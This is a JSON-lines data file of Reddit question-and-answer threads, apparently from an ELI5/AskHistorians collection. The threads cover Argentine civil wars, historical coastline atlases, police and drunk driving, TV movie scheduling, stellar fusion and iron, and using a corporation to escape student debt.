integral of the magnetic force along any path, closed or not, is zero.  From this, you should deduce that the magnetic ~~field~~ force is conservative, and trivially so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "28vnwy", "title": "To what extent did the struggles between the federales and the unitarios in 19th century Argentina influence Argentine civil society into the 20th century?", "selftext": "I recently read a biography of Borges which drew a comparison between the politics 19th-century Argentina and Borges' own family history.\n\nIt suggested that the struggles between the *unitarios* and the *federales*, and the dichotomy suggested by Sarmiento of civilisation and barbarism, held particular resonance for Borges because of how the 'intellectual' heritage of his father's side (including an English grandmother) contrasted with the 'criollo' ancestors on his mother's side.\n\nWas this personal to Borges? How, if at all, did the struggles between the *unitarios* and the *federales* continue to influence Argentine politics and society in the 20th century?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/28vnwy/to_what_extent_did_the_struggles_between_the/", "answers": {"a_id": ["cif7unm"], "score": [4], "text": ["This is a challenging question that I think has many possible and equally correct interpretations.  I\u2019ll try and discuss some of these that I find most important and maybe some others can add their own ideas.\n\nMost simply, out of the conflict comes the Argentine nation-state.  Most historians recognize that Argentina really did not exist until the 1880s.  Prior to independence, there was very little national cohesion among localities.  Once independence came, many diverse groups of people with differing interests began competing to fill the Spanish power vacuum.  Significantly, independence came so suddenly that most of the institutions that constitute a nation had to be created on the fly.  This was really what the conflict between unitarios and federales was all about.  The two sides, at both the national and local level, were working out (usually violently) the form that a new state would take.  Of course, they were not the only groups participating in this endeavor, but they were the ones that came out of the struggle with the most influence.  Over the course of their conflict, they had to define the scope of the government, political participation within it, governmental institutions, infrastructure, and trade relationships, which were all made more complicated by the challenging historical development and the geographical realities found in region.\n\nThe unitario vs. federales conflict thus is seen by historians collectively as the vicissitudes of state formation.  Out of the back and forth conflict came many of the key institutions that became so important during the twentieth century like the national army, the judicial system, the public school system that attempted to tie diverse peoples to a unified cultural narrative, and Buenos Aires\u2019s role as the new capital and federal district.  Additionally, the constitution and a push toward liberalism, although somewhat conservative and oligarchic in nature initially, opened the door for larger political participation in the twentieth century.\n\nAnother key consequence was the split between Buenos Aires and the interior provinces that resulted from the drastic change in South American trade networks.  The civil wars created a huge economic shift which devastated the interior provinces but led to the growth of the agroexport economy in the Littoral and Pampean regions which proved to be Argentina\u2019s economic engine until 1930.  As a result of the widening economic gap, Buenos Aires increasingly began to think that it alone constituted the nation.  The gap between Buenos Aires and the interior continued to be reflected economically and socially throughout the twentieth century.\n\nOne could also point generally, although I might also argue superficially, to the creation of a flawed government.  For example, the rise of caudillos seems to foreshadow a latent militarism that sprang up now and then to replace civilian governments.  The new constitution had a provision which could lead to its suspension in a state of siege, and the executive branch remained exceedingly powerful.  Rosas sometimes is portrayed as a populist leader whose political mobilizations resembled those of future populist leaders.  Also, Rosas\u2019s famous Mazorca, his secret police that terrorized the populace of Buenos Aires in the 1830s and 1840s, has been pointed to as a forerunner to state terror.  \n\nOne last important impact, and the one that you reference, is the great cultural influence of the nineteenth century as expressed through the split between civilization and barbarism.  These ideas existed before Sarmiento, but his work Facundo perpetuated the myth throughout Argentine literature.  Sarmiento and later writers like Borges struggled with the apparent contradictions in Argentine society that resulted from the conflict: the split between urban and rural, between European culture and indigenous culture, between the poverty stricken provinces and the wealthy capital, and it is this dichotomy, although simplified, that continued to bubble up in cultural and political narratives throughout the twentieth century.\n\nSo I hope I\u2019ve been able to provide you with a few ideas.  I think the most important legacy is that it is out of the conflict of state formation that Argentina as the nation we know today emerged.  This is reflected politically, socially, and culturally during the twentieth century, although Argentina was also heavily shaped by the agroexport economy that ushered in prosperity during the last half of the nineteenth century and the huge influx of immigrants that would shape the modern economy.   The two political parties would largely disappear before 1880, but the legacy of the conflict shaped the twentieth century heavily."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1778la", "title": "Is there a good modern compilation (eg Atlas) as to the changes in coastlines, rivers, or other geographical features since ancient or medieval times?", "selftext": "The harbor of Palermo used to be first-rate, its control fought over in ancient times.  Now it's filled in, urban, and utterly unimpressive.  (See this wonderful discussion: _URL_0_)\n\nThe Cinque Ports on the Channel are now mostly silted and rivers have changed course.  (A snapshop illustration can be found here: _URL_1_)\n\nI realize ancient documents aren't going to be enough, but perhaps there has been joint publications between historians and geologists/etc in journals?  I haven't been able to find an atlas/collection of maps/illustrations... but perhaps my google-fu is weak on this.  Is there a sub-field I could look for, some specialized journal or other resources?  I'm mostly interested in Western Europe and I'm not interested in the longer time frames with rises/falls in water level from prehistoric times.\n\nThank you.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1778la/is_there_a_good_modern_compilation_eg_atlas_as_to/", "answers": {"a_id": ["c82vpqa", "c82yoiy", "c834j15", "c836btr"], "score": [16, 3, 6, 4], "text": ["If you like shifting coastlines, the Netherlands is certainly interesting:\n\n* [Roman times](_URL_1_): A marshy delta with a large, central lake (Flevo Lacus) and extensive tidal flats.\n\n* [Medieval about 1100](_URL_4_) More and more areas claimed by the sea, Holland is almost an archipelago. The Zuiderzee is a large inland salt water body.\n\n* [The Dutch Republic about 1650](_URL_2_) reclamation is gaining speed.\n\n* [The Netherlands 1920](_URL_3_). In 1933, the Zuiderzee became a lake again when the [afsluitdijk](_URL_5_) was finished. \n\n* [Present day Netherlands showing land reclamation 14th-20th century](_URL_0_).\n\nAnd [in another 30 years it will certainly look different again](_URL_6_).", "In Europe, most forest, animal, and fish supplies drastically took a dive as the population grew.\n\nFor example, Venice was known for it's ship building in the renaissance ages which required numerous trees of all variety. The Venetians basically deforrested the whole area around them drastically. \n\nAs a whole, Europe is not as it once was with deep forests and plentiful wildlife. ", "The sub-field you're looking for is called paleo-geography, and is a major tool for archaeologists. Most nations have their own geographical service, with for the Netherlands for example Berendsen's *De Vorming van het Land* being the traditional, most-used publication. It is, of course, impossible to avoid the longer time-scale.", "This is not a direct answer to your question, but the Barrington Atlas of Greece and Rome is the best atlas for the Ancient Mediterranean and it does show the map of Europe as it would have been 2000 years ago. However it does not really go into the changes but you can still use it to see the differences."]}, "title_urls": [], "selftext_urls": ["http://www.i-italy.org/bloggers/15886/palermo-ancient-rivers-and-modern-streets", "http://en.wikipedia.org/wiki/File:Kent_Cinque_Ports.svg"], "answers_urls": [["http://home.kpn.nl/keesbolle/afbeeldingen/Polder2.gif", "http://www.harmen-visser.nl/kaart%20romeinen%20in%20nederland.jpg", "http://www.haagsetijden.nl/images/republiek_der_zeven_verenigde_nederlanden.jpg", "http://www.atlassen.info/atlassen/flemming/flegk01/picslarge/flegk04k020_k.jpg", "http://upload.wikimedia.org/wikipedia/commons/b/b1/Nederland_in_1100_%28traditioneel%29_digischool.png", "http://en.wikipedia.org/wiki/Afsluitdijk", "http://www.seacityresearchnet.com/archives/category/existing-adaptations/artificial-island"], [], [], []]}
{"q_id": "1u9iz1", "title": "why do cops not sit outside of bars and arrest anyone getting into their car?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1u9iz1/why_do_cops_not_sit_outside_of_bars_and_arrest/", "answers": {"a_id": ["ceftbj8", "ceftbqk", "cefuxlo", "cefw3of", "cefw93o", "cefyon9", "cefzk6e", "cefzqjs", "ceg0f8d", "ceg0lvf", "ceg1am0", "ceg2e7c", "ceg3ohm", "ceg3uiu", "cega33u", "cegd5bd"], "score": [13, 2, 14, 122, 424, 5, 5, 4, 3, 3, 2, 73, 2, 2, 2, 3], "text": ["Some do, but it's not illegal to get into a car when you've been at a bar, it's only illegal to operate a car if you're legally intoxicated. \n\nMany people leaving a bar haven't been drinking, and others haven't had enough to be considered intoxicated.", "How many bars are there in town? \nThis would be a huge waste of resources (money,manpower etc). \n\nOn high risk nights of drunk driving (and less frequently, but just on random nights) police will put up a RIDE program that everyone must drive through and are briefly questioned to try and stop drunk drivers. ", "At the two bars/clubs I frequent the police set up check stops on the busy nights just down the road from the bar. The paddy wagon is sitting on stand by right there. \n\nEveryone knows they do this, yet people still drink and drive. The stupidity amazes me, as multiple people end up with DUI's each time. ", "Because there is a Supreme Court Mandate on how to do a DUI Check point.\n\n_URL_0_", "My criminology/criminal justice professor used to be a police officer and he did something similar to this when he was hired out by Mothers Against Drunk Driving. He was one of the few highly educated officers who knew Sir Robert Peel's principles of policing, the first principle being that the main goal of the police is to prevent crime. If you can prevent crime, you don't need to control or arrest anybody. \n\nSo for an entire month he went to the area of town with the most bars and drove around in the police cruiser with the lights on, drawing as much attention to himself as possible. Because he did this, everybody would walk out of the bars, see the police officer, and find a way of getting home without drinking and driving. He made no arrests that month because he prevented all drunk driving. \n\nMothers Against Drunk Driving never hired him again because they really didn't want to stop drunk driving, they just want to see people being arrested for it. \n\nI realize this kind of a digression but thought it might be interesting in this thread. ", "In my home town it is illegal for police cars to sit outside of restaurants. It is controlled by the city. But drinking and driving is bad and if you use the excuses that a taxi is to expensive then you need to rethink your situation on what is important to spend money on ", "Cops wait outside the bar I work at every weekend, waiting for people to get in their cars.", "1) not everyone leaving a bar is over the limit.  2)  getting into a car in a private lot is not the same as driving on a public road.  ", "They do precisely that in my town. They even arrest people that walk.", "This thread really does go to show you how blurred the lines get with regard to laws when DUIs are involved. Unfortunate for our civil liberties\n\nAs for OPs question: because it is not illegal for people to leave a bar and drive.\n\nThe cops probably did not see the patron imbibe alcohol - and even if they did, they'd have to first see that the person was *driving under the influence* - meaning, his driving was influenced by the alcohol.\n\nIt's why a lot of arrests that happen start over something else - a busted taillight, swerving, speeding, running a stop sign, etc. Those offenses give the officer the ability to investigate further at which point they find out the driver was under the influence", "I've often wondered the same thing about Football games", "Cop here. You can't do that. There is a supreme court case against it. Too lazy to find it. It's unfortunate because I think it would stop alot of people from getting hurt. \n\nGoes like this: in most states, DUI requires that you, A. be intoxicated. and B. your intoxication inhibits your ability to operate a motor vehicle. \n\nBecause of this, it is profiling to ASSUME that people leaving bars are both of these things. Now, if I'm there for some other reason, you better be damn sure I'm not going to let some drunk get into his car. But, you can't just camp there. \n\nI for one go to bars and tell people, \"hey, if you really, REALLY can't find a ride, heres my card, CALL ME. And i will come give you a police ride home.\" Few things breaks my heart more than going to crashes where people kill themselves over something as petty as drinking too much. \n\nTL;DR, its profiling. and profiling is wrong bro-chacho. ", "My buddy saw some police in Jacksonville out by the bars marking car tires with chalk so if they got pulled over later they could tell if the car was parked by the bar.", "They do sit outside bars. At least where I live they do. Now for the arresting part, I guess they have to witness someone that looks drunk. Simply walking outside of a bar doesn't mean you're drunk. There are people who are DDs and add to that, not everyone is legally drunk when they leave. ", "Phufff...that's nothin'!!!  \n\nHow about [Fairfax County Police](_URL_0_) went INTO bars, and breathalyzed people actively drinking.  Harassed them, and arrested them for drunk in public.  They did this multiple times at multiple establishments.  \n\nThis upstanding police department also (sorry cannot find the article) arrested people for drunk in public - ready for this - Bar patrons called a cab, and in the 20' between the bar and the cab, were breathalyzed and arrested.  \n\nFairfax County Police did a HUGE disservice to themselves in the way of credibility, and goodwill within the community.  \n\nAs an aside, this is also the same police department that used undercover cops to bust Asian Massage Parlors for performing handjobs.  The kicker - A simple solicitation is enough to arrest and convict, but these cops actually went through with the handy's, BJ's, etc.  \n\n**EDIT:** Spelling ", "I know for a fact that in some places, the bar owners give the cops a few bucks to stay away. If the bar owner pisses off a cop, the cop sits right outside the bar, and that seriously cuts into the bar's business. I asked my old boss one time where the stained glass windows in the bar came from and he told me all about it, how he's gotta pay every month, and how back in the 80s, this one cop would pull up in front of the place and write down the names of everyone he saw inside (it's a small town), so my boss put in stained glass so the cop couldn't see in. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Random_checkpoint"], [], [], [], [], [], [], [], [], [], [], ["http://www.connectionnewspapers.com/news/2003/jan/14/anger-follows-police-raid/"], []]}
{"q_id": "1wq30k", "title": "what or who determines which old movies are on tv? example: where at tbs is it decided that caddyshack or lethal weapon will be on saturday?", "selftext": "Is there some person who is just nostalgic for an older movie and some point in time? Is there a rotation for those?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wq30k/eli5_what_or_who_determines_which_old_movies_are/", "answers": {"a_id": ["cf4ce54", "cf4jkhm"], "score": [6, 3], "text": ["[From wikipedia:](_URL_0_) In radio or television, a program director or director of programming is the person who develops or selects some or all of the content that will be broadcast. A program director's selections are based upon expertise in the media as well as knowledge of the target demographic. Typically, a program director decides what radio program or TV program will be broadcast and when.", "The prime objective for a TV network is to make money by selling advertising. You get the most money from the advertiser if you have lots of people watching your programming, and it is critical that the viewers are in the correct demographic - the segment of society the advertiser is selling their product to (Moms 18-34 etc...) Each TV network has a scheduling department responsible for deciding which show/movie to air in which timeslot. Some consider this a bit of a black art since there are so many variables involved, it is extremely difficult to guarantee that a certain program will get an audience at a certain time. There is lots of research available to the scheduling gods to help them make their decision, but to be honest there often seems to be a lot of talent involved in the job too. Some people are just great at choosing the perfect show for the timeslot. I think it's a similar talent to that of a DJ: knowing just what track to play to keep the momentum going and the dancefloor packed. The schedulers are under a lot of stress because the sales department pre-sell most of the advertising, with guaranteed ratings. If less people watch the TV show than expected, the TV network actually has to pay money back to the advertisers. This makes network bosses very unhappy. Sorry if this is too much info! Source: work in TV marketing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Program_director"], []]}
{"q_id": "bhhv2f", "title": "; what makes iron so special that stars stop fusing elements heavier than it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhhv2f/eli5_what_makes_iron_so_special_that_stars_stop/", "answers": {"a_id": ["elt1lg8", "elt1m3f", "elt2j1k", "elt81hz", "eltdcip", "elte4gw"], "score": [41, 3, 2, 14, 3, 2], "text": ["Iron takes more energy to fuse than is released in the process of fusion.\n\nTake a look at hydrogen: the mass of the constituent hydrogen atoms  (four electrons, four protons) is more than the mass of the helium atom that comes out the other side (four electrons, two protons, two neutrons).\n\nThe missing mass is converted into the energy that sustains the star, and which can lead to further fusion chains.\n\nSilicon-to-iron is the final stage in stellar fusion. Fusing silicon into iron takes more energy than the star gets out of it, and so it begins losing energy, ultimately leading to its death.", "Fusing iron atoms is an endothermic reaction \u2014 it absorbs energy \u2014 rather than exothermic (radiates energy). An endothermic fusion reaction does exactly the opposite of what the star needs it to do; instead of driving the pressure up to prevent gravitational collapse, it causes the bottom to drop out. With nothing supporting its weight, a star that has built up a core of iron catastrophically collapses, then blows itself apart in a supernova explosion.", "Iron takes more energy to fuse then it creates.\n\nIt's also the point a star can become too heavy from the iron core and implode. Which is why it tends to indicate the end of the star. Either it collapses or burns out, depending on the size.\n\nIt's also the only source for iron. So it's interesting that the iron we have is from a dead star at some point.", "Iron is a decisive element. When a star fuses hyrdrogen, the fusion process gives it essentially unlimited energy to continue making helium. Eventually, the star runs out of hyodrogen to fuse into helium and is simply left with helium. The star then begins to fuse helium into carbon. All but the smallest stars can manage this, the amount of energy required to make carbon is more than enough for the mass of the star accomdate. Each successive fusion of elemnts requires more and more energy and gives less and less energy back, it goes from the unlimited energy of helium fusion to a massive net loss after the next 24 elements. When it gets to iron, it encounters a very big problem.\n\n & #x200B;\n\nThere is no star large enough to have enough energy to fuse iron into cobalt. It just isn't possible with what understand about the maximum mass of starts. The iron then sinks into the center of the star, and just sits there. The star is now at a net loss for energy creation, but it cannot stop. It doesn't make any more energy for the star. This is the death knell for the star, and stars can survive a maximum of a few hours when they start fusing manganese into iron.  Without the outward pressure created by the creation of new elements, the elements gladly go toward the center of the star. Then suddenly the star goes *oh shit* as billions to trillions of tons of the other elements rush inward to the center. Everything collapses into the center of gravity of the star in about 15-20 seconds(imagine something with 1 million times the mass of the sun collapsing in that time to get an idea). Then, as a reaction to this massive collapse, there is an unimaginably huge and powerful explosion, a type II supernova, where the energies of all the elements that rushed to the center is released in under a second, and creates temperatures and powers that the human mind cannot comprehend. In the split second of a supernova, every single other element is created, or roughly 3/4 of the elements on a periodic table(but not by universal mass). In a split second, there is more energy released than even the most massive star produced in its entire lifetime.\n\n & #x200B;\n\nJust wanted to add, this undeinably connects everything living with stars from which we do not know ever existed or where they were, as every atom in your body was forged in their death. Everything about us is from cosmic places unknown, beyond places from which we have even seen.", " > Iron takes more energy to fuse than is released in the process of fusion\n\nWhile what everyone says is right it does not give the whole picture. It all as todo with **binding energy**.\n\nEvery element has a certain amount of binding energy. Thats the energy that holds the nucleus together and basicaly says how stable the element is. Now if the next element is MORE stable than the current one it will at some point undergo fusion to become that one more stable element. If the previos element on the is more stable it will decay and become that one.\n\nNow take a look at [this table](_URL_0_).\n\nThe y axis is the binding energy. Elements on the far right side will slowly decay until they reach the highest point. Elements on the left will fuse to get to the highest point. So whats at the highest point: **iron**!\n\nIron is the element with the most binding energy which means it is the most stable element. So basicaly everything in the whole universe is slowly becoming iron. Althought this is so slow it would take many times longer than the universe would even live.", "It is not really that Iron is special itself.\n\nThe thing is that you have light elements on the on side where you can get energy by fusing them and you have heavy elements on the other hand that you can get energy from by splitting them.\n\nYou can get energy from fusing stuff like Hydrogen or Helium or fission of heavy element like Uranium.\n\nIf you start with the lightest elements you gain less and less energy from fusing them together the heavier you go and when you start on the other side you gain less and less energy from splitting.\n\nAt some point both side meet where you can't get more energy by fusing but also not more by splitting.\n\nIron sits at this point. Nickel too. \n\nThis is why there are som many Nickle-Iron asteroids out there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://upload.wikimedia.org/wikipedia/commons/thumb/5/53/Binding_energy_curve_-_common_isotopes.svg/1280px-Binding_energy_curve_-_common_isotopes.svg.png"], []]}
{"q_id": "29m2od", "title": "what's to stop a person from creating a corporation, then using that corporation to buy up their personal debt (ie: student loans), and then having the corporation file for bankruptcy?", "selftext": "I'm sure this is a stupid question, but the thought just occurred to me and I figured someone knowledgeable about corporate law could enlighten me.\n\nI'm basing this idea on the definition given at _URL_0_:\n\nA corporation (sometimes referred to as a C corporation) is an independent legal entity owned by shareholders. This means that **the corporation itself, not the shareholders that own it, is held legally liable for the actions and debts the business incurs.**\n\nEmphasis mine.\n\nEDIT: Thanks for the responses guys. This has been explained since shortly after I submitted it. Basically you'd be committing fraud when you got a business loan via the corporation and used it to pay off your debt (if the bank would even give a business loan to a new company without collateral, which is unlikely). Then, after you declared bankruptcy, the bank would litigate that your corporation was basically just a sham, or an [alter ego](_URL_1_) as pointed out by /u/justthistwicenomore, which when the court ruled in their favor (they almost certainly would), the asset protections between corporations and their owners would disappear and the banks would be able to come after you for the money.\n\nDon't try this at home, kids. I knew this was a bad idea from the start, I just wanted to know **specifically** what made it not work.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29m2od/eli5_whats_to_stop_a_person_from_creating_a/", "answers": {"a_id": ["cim8ok3", "cim8pfr", "cim9hre", "cimb4td", "cimdy5o", "cime1e0", "cimen6a", "cimha0w", "cimhmha", "cimjffy", "cimjsbq", "cimk3r2", "cimk9od", "cimke0p", "cimkl6s", "cimkny9", "ciml0n0", "cimmboz", "cimmmw6", "cimn09i"], "score": [2, 412, 36, 4, 2, 7, 8, 2, 2, 2, 2, 3, 2, 2, 2, 23, 2, 2, 4, 2], "text": ["Student loan debt is not dischargeable under bankruptcy:\n\n[Link](_URL_0_).", "If you just create a corporation to transfer assets, without some business purpose, then your creditors can go to court and say that the corporation is a sham.  If the Court agrees (which would almost certainly be true in this case), then they would be able to \"pierce the [corporate veil](_URL_0_)\" and come after the assets anyway. \n\nEDIT: what you're talking about specifically would be called creating an [alter ego](_URL_1_).  They would argue that you only created the corporation, and it only acted, to benefit you individually. and so the asset protections would disappear. ", "The sham comment is correct.\n\nEven bigger comment though is this does not work.  To \"buy up personal debt,\" the banks or lenders who own the debt have to agree to sell it to the corporation.  Bank will sell loan for the present value of the debt.  Where does your corporation get the money to buy your debt?  If you formed the corporation you have to invest in it for it to have the money to buy your debt.  So, why not just use the money to pay your debt?  No one else will invest in your corporation if its purpose is to buy your debt and you are planning to have the corporation file for bankruptcy.\n\nIdea be whack.", "I am not a lawyer.  That said, I'm wrangling through LLC laws to understand the duties and obligations of a Member of one.  (I gave up on corporations, because the amount of paperwork and ceremony and \"do everything RIGHT ON TIME\" is not something that I can accomplish for myself.)\n\nCorporate officers are responsible for the wrongdoing of the corporation, since they're the ones who have to sign off on it.\n\nThe directors would also have to be given incomplete information, and thus they would be defrauded.  The Board of Directors must approve any expansion into a line of business, as well as any proposed bylaws that would be used for internal regulation.  (The idea is that a corporation is a self-serving entity, and all individuals who work for it are required to also serve that entity instead of the other way around.  The only thing that makes this not slavery is that the employees and appointees are empowered to walk away -- but they're still liable for what happened before they left, if they should have known about it.)\n\nCalifornia has a corporate veil that protects the shareholders, but not if they're officers of the corporation.  (Its law says that the corporate officers are jointly and severally liable for the debts of the corporation.)\n\nPlus, do you have any idea how difficult it is to get corporate credit?  A corporation can't even get credit secured by the assets it purchases until more than 2 years after being in business and in good standing, PLUS having a solid revenue stream with income exceeding expenses and a favorable asset/liability ratio.  Cash loans are even more difficult to come by.\n\nPlus, there's the fraud against the person making the loan (as /u/justthistwicenomore said), the fraud against anyone investing in the company (the duty of the officers and directors of a corporation is to enhance shareholder value), and the fact that the reason why these restrictions on capital availability exist is because people probably tried to do substantially what you're suggesting (though probably to pay off other types of loans).\n\nAlso, bankruptcy law allows the judge to undo any transaction that appears to have been made for a fraudulent purpose... if bankruptcy is filed within a certain time after the transaction is made, anyway.\n\n(edited to mention the time limit on bankruptcy transaction reversal.)", "Also, this is technically fraud. ", "Commenter are correct that you cannot assign this debt without permission from the holder of the debt.   \n\nIt was then suggested that the corporation take out a business loan and pay off the debt.   Ignoring the criminal implications, which are plentiful, the likely result in a bankruptcy would be an adversary proceeding (mini case within the bankruptcy case)  filed against you seeking to have the business loan declared to be your debt and nondischargeable. Since the corp was formed to pay your debts and not for business purposes, the law can ignore it's separate legal existence (called alter ego theory) and treat it as you.  Since you had no intention of paying the debt, it would fall within an exception to the discharge of your debts (11 usc s 523 for the  curious).  \n\nTLDR: you will have swapped one nondischargeable debt for another, plus 5 to 10k in attorney fees. \n\nSource: I am a bankruptcy attorney. ", "Where is the corporation getting the money to buy your debt?  The amount is comparable to what it would cost to just pay off your loan.  The corporation's money can't come from thin air\u2014it has to come from somebody.  And it doesn't make sense for it to come from you\u2014why would you spend more than what you owe the lender to set up a corporation to buy the debt, instead of just paying it off?\n\nSo either you have to find somebody else to invest money in the corporation, or the corporation has to borrow money on its own.  First, good luck with that.  Second, unless you put up at least half the money for the corporation, you're not the majority owner and thus you don't control it\u2014the majority owners can pick whoever they want as CEO, and if they pick you they can fire you whenever they want.  Third, why aren't these imaginary investors willing to just lend you money to pay off your debt?  It sure sounds like you're using the corporation to hide from them the fact that you're using the money to pay your own debt.  That's fraud!\n\nSimilar problems arise with the scenario where your corporation borrows money.  Who's going to lend the money?  Aren't you defrauding them?\n\nOk, whatever, let's keep at it.  So you control the corporation, and it buys out your loan from the original lender.  Now you owe that money to your corporation.  And you decide to stiff the other investors or the corporation's lenders by not paying your loan anymore.\n\nWell, if the debtor (that'd be you) isn't paying the company the money they owe, then the company's management (that'd be you) has a duty the investors to sue the debtor (that'd be you) in order to recover as much as they can.  In this fantastical scenario, the fact that you're responsible for having the company sue you is a really, really crass conflict of interest, and if you didn't resign your position as CEO, your other investors can probably sue you personally for not taking good care of their investment.  If they win, they can take your stuff.\n\nDid I mention you probably committed fraud a few steps ago?\n\nWhatever, let's keep going.  Suppose they don't sue you for that.  Now, if your corporation borrowed any money to raise the cash to buy your loan, and it stops paying those folks, they can sue your corporation to recover what they lent it.  So now you make your corporation declare bankruptcy to avoid that.  Well, there are two kinds of bankruptcy, and thus two scenarios:\n\n1. Liquidation: your corporation loses all of its assets, which become the creditors' property.  Well, now those guys own your loan, so you owe the original money to them.  They sue you and take your stuff.\n2. Reorganization: the court takes the corporation out of your ownership and your other investors, and gives it to the creditors.  Now they own it, and they can install management.  Your former corporation now sues you and takes your stuff.\n\nNot good.  So suppose that your corporation didn't borrow any money, and that the other investors didn't go after you for stiffing them.  Well, your whole scheme is probably criminal to start with\u2014you defrauded them!  The DA can charge you with a crime, and when found guilty you'll get tossed into jail.", "With what money would your corporation by the debt?\n", "You can't wipe your personal debt, but if you're self employed you can do similar tricks to reduce your income tax. IIRC it's something along the lines of billing the work you do through your company, loaning you money instead of paying a salary, never paying your own company back then declaring the company bankrupt every 2 years and getting tax relief on those unpaid \"bad\" loans.\n\nEdit: Thinking about it I'm not sure that specific one is a US tax loophole or some other country, but if you're a self employed contractor these kind of business tax loopholes exist if you set your own company up.", "It's been explained why your method doesn't work, but not how you actually do this. What you do is have personal contacts at debt-buying companies. These companies are able to buy your debt as part of a larger transaction. Your contacts (executives) can make sure of this. Then you can settle with their company at 20% or whatever is standard. \n\nThis actually happens and was mentioned in the 2012 documentary The Queen of Versailles. ", "Brilliant!\n\nYou'll need to create some disguise of a legitimate business (so that debtors could not claim it is a sham), but then you can go bankrupt (and get a trillion of US government money).\n", "I am a bankruptcy lawyer. First and foremost corporations can't receive a discharge in bankruptcy like individuals can.  This means that when a corporation files bankruptcy their debts don't get wiped away. \n\nSecond to the people suggestion home equity loans or other types of loans to pay off student loans, there are specific bankruptcy laws that cover that. Any debt used to pay off student loans or taxes will not be discharged in bankruptcy.\n\nThird, while you could attempt to assign debt to a corporate entity most every loan document will have an acceleration clause which states the entire amount will become die and payable if it is transferred or more common would be a clause that says you can't transfer the debt to anyone else. \n\n", "What would stop you would be the fact that your corporation wouldn't have the cash or credit to purchase your personal debt. Your current creditors don't just release your debt to another company.  The other company needs to buy your debt by paying the outstanding balance (or an agreed upon percentage of that balance).", "In order to buy up the debt the corporation would need money or credit.  I will assume you mean credit. Problem is corporations have credit scores just like people, and just like people, often need co-signers early on to assume debt. That co-signer would be you.", "In a bankruptcy you're required to disclose all income and debts to the court.\n\nIf you walk into a bankruptcy court (and even find some kind of attorney to even try it) with a company not even a year old, with no income to show for it and massive debt, they are going to have some questions for you.\n\nRight before they laugh and deny you the bankruptcy, if they aren't calling the local DA's office to file charges against you for fraud.\n\nI had a friend go through it (personal bankruptcy) about 3 years ago.  He got it, but he had to prove that he had been able to cover the debt until a job loss caused him to obtain a new job with much lower income.  The court also noted that he had two vehicles, and as a single guy, his work truck would suffice as a work/personal vehicle and he had to include handing in the second vehicle in the bankruptcy (he tried to exclude both, he was going to make the payments on those, but wanted everything else wiped).  The court only let him exclude one.\n\nAs it was, after the bankruptcy, the lienholder on the truck sent him a letter basically stating they had the right to call in the loan on the truck because his credit rating had adversely changed if they wanted to.  They didn't, and about a year after he went and got another truck once he found a place that would finance him-because they could have, in theory, repossessed it at any time.\n\nThey ask for everything, and they do check.  Lying about stuff just gets it rejected, and had he \"failed the test\" to prove he was insolvent (basically they allow so much for rent, utilities, etc, and if your income meets that and you have a bit left over you aren't) he would have been doing a repayment plan, not a wipe.", "The top answer is bullshit. While the \"corporate veil\" principle is basically correct, it doesn't come into play here. \n\nYou can't just unilaterally transfer your liability to another entity. The creditor will have to consent (they won't.) The **creditor** can most likely transfer your debt (which is an asset to them) based on the terms of the credit agreement (to a debt collector or another entity.) But the bank loaned you the money based on **your** creditworthiness, not a shell corporation, or your broke friend, so you will remain liable. \n\nYou could **purchase** the debt through a corporation, if your creditor is willing to sell the debt. Whether they will sell for less than the full value of the debt is another question. They may or may not. But then, you own your own debt, and unless you are going to collect from yourself, there is no need to pay it. The corporation would similarly have no need to file bankruptcy, as it wouldn't **owe** any money, it would **be owed** money (which is an asset.) You need to owe money to file bankruptcy...", "How about a different way, let's say you started a corporation, invested money into it and then that corporation loaned that money back to you.  Then the corporation reports to the credit bureaus that you have been paying in a timely fashion, thus increasing your credit.  Yes, you pay the money back into the corporation but this happens several times over until you're in the 700s.  Then you close the company and take back your money.\n\n ", "Form a PAC instead and funnel the donation money to yourself.\n\n_URL_0_", "Where does the capital come from to buy the debt?  If the corp. that is buying the debt does not have sufficient assets (or post a bond) to keep that from happening, it would be hard to buy the debt.\n\nAlso, creating a corp. to expressly walk out on debts owed is one of the few ways to \"pierce the corporate veil\" and go after the owners personally.  Of course, this has to be proved.\n\nBut buying debt isn't as easy as buying other assets.", "There is a lot of solid advice, however I think the thing that you are missing out on the most is that the situation you describe wouldn't work.\n\nIn order to buy your student loans from a lender you have to pay for them.  You are most likely not going to get a \"pennies on the dollar rate\" as a nobody corporation.  Additionally, if your loan is NOT in default, they wouldn't have your loan up for sale anyways.\n\nLet's say for arguments sake that you did manage to purchase your student loans.  You own the corporation and it doesn't matter if you don't pay the loans, you control it anyways.\n\nEdit: And, you paid the lender off by buying the loans, unless you got a bargain rate I don't see the point."]}, "title_urls": [], "selftext_urls": ["sba.gov", "https://www.dailyjournal.com/cle.cfm?show=CLEDisplayArticle&amp;qVersionID=270&amp;eid=897501&amp;evid=1"], "answers_urls": [["http://business.time.com/2012/02/09/why-cant-you-discharge-student-loans-in-bankruptcy/"], ["http://en.wikipedia.org/wiki/Piercing_the_corporate_veil#United_States", "https://www.dailyjournal.com/cle.cfm?show=CLEDisplayArticle&amp;qVersionID=270&amp;eid=897501&amp;evid=1"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://thecolbertreport.cc.com/videos/66y7dx/colbert-super-pac-shh----secret-second-501c4---trevor-potter"], [], []]}
